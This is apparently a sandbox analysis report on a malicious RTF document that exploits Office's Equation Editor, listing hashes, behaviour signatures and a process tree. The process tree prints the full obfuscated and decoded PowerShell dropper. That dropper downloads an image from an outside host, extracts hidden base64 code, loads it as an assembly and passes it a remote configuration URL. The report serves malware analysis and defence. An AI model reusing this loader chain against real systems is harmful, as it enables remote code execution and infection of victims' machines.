Analysis

  • max time kernel
    48s
  • max time network
    16s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    25-01-2024 15:38

General

  • Target

    microsoftinteroirdesignsectiontocompleteentireprocesstodevelopthenewsystemtechnologytounderstand (1).rtf

  • Size

    64KB

  • MD5

    eaf57752e189fbdb0894a43ed390efe6

  • SHA1

    14b2ad64c23a473469560bdcaac2ef47c0fa544b

  • SHA256

    1de402b1aa5fcf8a3782a2656b75dd8e943b68e181acc45ef85b32df95f2b640

  • SHA512

    e0fe29cbb93dda62ee689712f83ac5043eb93e9372f2e64c23e1e42b0e6e8e2fd81334697793a755b30f2f0f70d8b685eea24507a750f28909437a6b4d1481d6

  • SSDEEP

    1536:oKxmiZJ0gYNb7MFKfoZyXvjz2catCKVJkfEKSl:x1BFTZ2CgKVJkMKa

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://wallpapercave.com/uwp/uwp4241942.png

exe.dropper

https://wallpapercave.com/uwp/uwp4241942.png

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Process spawned suspicious child process 1 IoCs

    This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Launches Equation Editor 1 TTPs 2 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\microsoftinteroirdesignsectiontocompleteentireprocesstodevelopthenewsystemtechnologytounderstand (1).rtf"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2356
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:352
      • C:\PROGRA~2\COMMON~1\MICROS~1\DW\DW20.EXE
        "C:\PROGRA~2\COMMON~1\MICROS~1\DW\DW20.EXE" -x -s 1308
        2⤵
        • Process spawned suspicious child process
        • Suspicious use of WriteProcessMemory
        PID:804
        • C:\Windows\SysWOW64\dwwin.exe
          C:\Windows\system32\dwwin.exe -x -s 1308
          3⤵
            PID:1944
      • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
        "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
        1⤵
        • Blocklisted process makes network request
        • Launches Equation Editor
        • Suspicious use of WriteProcessMemory
        PID:2720
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\ISOupdate.vbs"
          2⤵
          • Blocklisted process makes network request
          • Suspicious use of WriteProcessMemory
          PID:2708
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredwBhDgTreGwDgTrebDgTreBwDgTreGEDgTrecDgTreBlDgTreHIDgTreYwBhDgTreHYDgTreZQDgTreuDgTreGMDgTrebwBtDgTreC8DgTredQB3DgTreHDgTreDgTreLwB1DgTreHcDgTrecDgTreDgTre0DgTreDIDgTreNDgTreDgTrexDgTreDkDgTreNDgTreDgTreyDgTreC4DgTrecDgTreBuDgTreGcDgTreJwDgTre7DgTreCQDgTredwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreTgBlDgTreHcDgTreLQBPDgTreGIDgTreagBlDgTreGMDgTredDgTreDgTregDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreTgBlDgTreHQDgTreLgBXDgTreGUDgTreYgBDDgTreGwDgTreaQBlDgTreG4DgTredDgTreDgTre7DgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBVDgTreHIDgTrebDgTreDgTrepDgTreDsDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTreZDgTreBpDgTreG4DgTreZwBdDgTreDoDgTreOgBVDgTreFQDgTreRgDgTre4DgTreC4DgTreRwBlDgTreHQDgTreUwB0DgTreHIDgTreaQBuDgTreGcDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreKQDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTrekDgTreGUDgTrebgBkDgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBFDgTreE4DgTreRDgTreDgTre+DgTreD4DgTreJwDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBUDgTreGUDgTreeDgTreB0DgTreC4DgTreSQBuDgTreGQDgTreZQB4DgTreE8DgTreZgDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreKQDgTre7DgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTreZQDgTregDgTreDDgTreDgTreIDgTreDgTretDgTreGEDgTrebgBkDgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreGcDgTredDgTreDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTre7DgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTregDgTreCsDgTrePQDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBTDgTreHUDgTreYgBzDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEkDgTrebgBkDgTreGUDgTreeDgTreDgTresDgTreCDgTreDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTrepDgTreDsDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreQwBvDgTreG4DgTredgBlDgTreHIDgTredDgTreBdDgTreDoDgTreOgBGDgTreHIDgTrebwBtDgTreEIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBiDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBDDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreCkDgTreOwDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreCDgTreDgTrePQDgTregDgTreCQDgTrebDgTreBvDgTreGEDgTreZDgTreBlDgTreGQDgTreQQBzDgTreHMDgTreZQBtDgTreGIDgTrebDgTreB5DgTreC4DgTreRwBlDgTreHQDgTreVDgTreB5DgTreHDgTreDgTreZQDgTreoDgTreCcDgTreQQBzDgTreHDgTreDgTrebwBzDgTreGUDgTreLgBEDgTreHIDgTreYQB3DgTreGkDgTrebgBnDgTreFMDgTrecDgTreBlDgTreGMDgTreLgBQDgTreGsDgTreaQBrDgTreEEDgTredDgTreB0DgTreHIDgTreQwBlDgTreHIDgTredDgTreBODgTreEIDgTreJwDgTrepDgTreDsDgTreJDgTreBtDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTregDgTreD0DgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreLgBHDgTreGUDgTredDgTreBNDgTreGUDgTredDgTreBoDgTreG8DgTreZDgTreDgTreoDgTreCcDgTreUgB1DgTreG4DgTreJwDgTrepDgTreC4DgTreSQBuDgTreHYDgTrebwBrDgTreGUDgTreKDgTreDgTrekDgTreG4DgTredQBsDgTreGwDgTreLDgTreDgTregDgTreFsDgTrebwBiDgTreGoDgTreZQBjDgTreHQDgTreWwBdDgTreF0DgTreIDgTreDgTreoDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreDgTre6DgTreC8DgTreLwDgTrexDgTreDcDgTreMgDgTreuDgTreDIDgTreMwDgTreyDgTreC4DgTreMQDgTre4DgTreDkDgTreLgDgTrexDgTreDUDgTreMgDgTrevDgTreDMDgTreNQDgTre5DgTreC8DgTreQwBODgTreEYDgTreLgB0DgTreHgDgTredDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreMgDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTrecwB2DgTreGMDgTreaDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreMQDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreQwDgTre6DgTreFwDgTreUDgTreByDgTreG8DgTreZwByDgTreGEDgTrebQBEDgTreGEDgTredDgTreBhDgTreFwDgTreJwDgTresDgTreCDgTreDgTreJwBMDgTreG4DgTreawBODgTreGEDgTrebQBlDgTreCcDgTreLDgTreDgTrenDgTreFIDgTreZQBnDgTreEEDgTrecwBtDgTreCcDgTreKQDgTrepDgTreDgTre==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
            3⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3036
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4241942.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Aspose.DrawingSpec.PkikAttrCertNB');$method = $type.GetMethod('Run').Invoke($null, [object[]] ('http://172.232.189.152/359/CNF.txt' , 'desativado' , '2' , 'svch' , '1' , 'C:\ProgramData\', 'LnkName','RegAsm'))"
              4⤵
              • Blocklisted process makes network request
              • Drops file in System32 directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1504
      • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
        "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
        1⤵
        • Launches Equation Editor
        PID:1840

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\259434841.cvr
        Filesize

        1KB

        MD5

        12ea1a5c85dcf2a399e7c6f86eeea4d1

        SHA1

        a609cc09e003e5b665c66798784e634d54358488

        SHA256

        2de4899711ddbeca960b19c3fa7a84be25ef838984df3e97669b80fa2c1cf9d0

        SHA512

        ad1a933d7257ec6da09ae6128bb3645003b8b3f80981bfc61af61fe7d42d1a22a387ba7b8bc7d3df2389c7cd2e6d94b4ce33dab87511a41aec9bf3612501ce27

      • C:\Users\Admin\AppData\Roaming\ISOupdate.vbs
        Filesize

        156KB

        MD5

        e1009b496194e448338a039d718b0455

        SHA1

        9b951f7d314de532b82a87d6697685a451fee7a6

        SHA256

        d8ee4672494c3a0141cad7cfd5ba867b85b7e6b00bec09aad83d0ead054243ae

        SHA512

        9ccbfd96fff290d01226a653158eb017981ebf60948e51508139bfebfd0b418410df0396025359a84d429314038f84012544ae2aa9d93e1dc2c8f26f06e32a22

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Y3WFW5URQVX04U79DG9Z.temp
        Filesize

        7KB

        MD5

        dcd8b35eeff7680afa094bc7a99c32ac

        SHA1

        073489f3059dc9b50a91b271a3f3602920745a22

        SHA256

        1ec6161cc3e7ffd5f77851e054df9788e06bfda8fa46a3a6a2f5eee23463892c

        SHA512

        4407926495f35dc1772a699a2c63719263772568c0b68ccb2fa98afeb84fde09634b016ba25f5c325888bd6caca177de96ae9553e1e7471d1f5a3e14ae7f45b5

      • memory/1504-30-0x000000006A830000-0x000000006ADDB000-memory.dmp
        Filesize

        5.7MB

      • memory/1504-28-0x000000006A830000-0x000000006ADDB000-memory.dmp
        Filesize

        5.7MB

      • memory/1504-29-0x000000006A830000-0x000000006ADDB000-memory.dmp
        Filesize

        5.7MB

      • memory/1944-36-0x00000000001C0000-0x00000000001C1000-memory.dmp
        Filesize

        4KB

      • memory/2356-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/2356-2-0x00000000710AD000-0x00000000710B8000-memory.dmp
        Filesize

        44KB

      • memory/2356-0-0x000000002F861000-0x000000002F862000-memory.dmp
        Filesize

        4KB

      • memory/2356-32-0x00000000710AD000-0x00000000710B8000-memory.dmp
        Filesize

        44KB

      • memory/3036-19-0x000000006A830000-0x000000006ADDB000-memory.dmp
        Filesize

        5.7MB

      • memory/3036-31-0x000000006A830000-0x000000006ADDB000-memory.dmp
        Filesize

        5.7MB

      • memory/3036-21-0x000000006A830000-0x000000006ADDB000-memory.dmp
        Filesize

        5.7MB

      • memory/3036-22-0x0000000002CC0000-0x0000000002D00000-memory.dmp
        Filesize

        256KB

      • memory/3036-20-0x0000000002CC0000-0x0000000002D00000-memory.dmp
        Filesize

        256KB